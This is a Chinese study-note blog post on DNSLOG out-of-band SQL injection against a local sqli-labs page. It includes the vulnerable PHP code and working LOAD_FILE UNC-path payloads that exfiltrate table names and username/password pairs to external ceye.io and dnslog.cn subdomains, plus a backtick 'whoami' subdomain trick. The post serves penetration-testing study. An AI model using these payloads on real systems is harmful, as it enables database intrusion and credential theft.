学习笔记-渗透测试-SQL注入_007_DNSLOG注入

<?php
error_reporting(E_ALL&~E_WARNING);
include("../sql-connections/sql-connect.php");
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
	echo "Right";
}else{
	echo "Wrong";
}

在盲注案例中,即使代码存在着SQL漏洞,但是页面不会回显数据,也不会回显错误,虽然我们可以通过布尔注入和延时注入获取到内容,但是效率太低,需要发送很多的请求,容易触发安全设备的防护机制,这时可以尝试借助dnslog完成回显

1 什么是DNSLOG?

什么是DNS?我们在进行网页浏览的时候,通常会输入一段URL,而我们访问服务器用的则是服务器的IP地址。从URL转换到IP地址,这个就是DNS的作用了

我们在配置网络的时候,都会配置DNS地址,浏览器或者应用访问URL,首先会去查找本地的hosts文件,如果没有,就会发送请求到DNS服务器,由DNS服务器查询到对应的IP地址后,返回本机,再由本机访问IP地址,达到访问对应资源的目的

由于这一切很快,所以对于人来说是无感的

说回DNS,用户访问DNS的时候,DNS服务器会记录用户对域名的访问信息,这个被称为Dnslog

2 攻击原理

2.1 触发原理

DNSLOG平台:

http://www.dnslog.cn/ http://ceye.io/

DNSlog会对DNS的请求日志进行留存展示,我们可以让服务器请求某个页面或者加在某个远程文件的方式访问特定的域名地址,并且将其子域名标记为系统命令,让其运行后访问

例如
# 自定义4a0l49.dnslog.cn的子域名
kinght.4a0l49.dnslog.cn
# 让系统先执行命令后作为自定义子域名用于请求
`whoami`.4a0l49.dnslog.cn 执行后 root.4a0l49.dnslog.cn

注意:执行命令是反引号(`)不是引号

image-20230205164417049

在Mysql中,常常通过LOAD_FILE()发起远程文件请求来触发DNSLOG

SELECT LOAD_FILE(CONCAT('\\\\','test','.z9ah21.ceye.io\\abc'));

image-20200810153509773

查看结果

image-20200810153523171

2.2 限制条件

由于DNSLOG采取的是LOAD_FILE函数进行,所以他有几个必要条件

1.受害主机必须是windows电脑
	load_file进行文件读取采用的是windows网络驱动器特有的UNC路径,所以该实验仅限windows进行
2.load_file函数的调用需要获得root权限
3.mysql配置文件secure_file_priv为空
	sql语句查询 show global variables like '%secure%';
	secure_file_priv = ''	# 能读取全部文件
	secure_file_priv = 'None' # 文件不允许读取
	secure_file_priv = '路径' # 只允许读取某个路径

3 攻击过程

3.1 查询当前数据表

SELECT LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.z9ah21.ceye.io\\abc'));

查询结果

image-20200810174225432

查询另一张表

http://127.0.0.1/Less-9/?id=1' and LOAD_FILE(CONCAT('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.z9ah21.ceye.io\\abc'))-- #

image-20200810175815277

查询结果

image-20200810175743844

我们就知道第二张表的名字叫referers

3.2 查询用户名密码

http://127.0.0.1/Less-9/?id=1' and LOAD_FILE(CONCAT('\\\\',(select concat_ws('A',username,password) from security.users limit 0,1),'.z9ah21.ceye.io\\abc'))-- #

image-20200810191142790

结果出来了,因为Dnslog平台很多的特殊符号不允许使用,所以,这里采用的是A来进行分隔

3.3 利用哈希值返回结果

Dnslog平台很多的特殊符号不允许使用,但是有时候确实使用字母不方便,那么我们还可以使用哈希值来进行返回

http://127.0.0.1/Less-9/?id=1' and LOAD_FILE(CONCAT('\\\\',(select hex(concat_ws('~',username,password)) from security.users limit 0,1),'.z9ah21.ceye.io\\abc'))-- #

返回结果:

image-20200810200333988

哈希转化:

image-20200810200911776

4 Dnslog注入工具

python2版本 ADOOO
https://github.com/ADOOO/DnslogSqlinj
Python3版本 复写中,以后更新
posted @ 2023-02-26 23:10  kinghtxg  阅读(139)  评论(0编辑  收藏  举报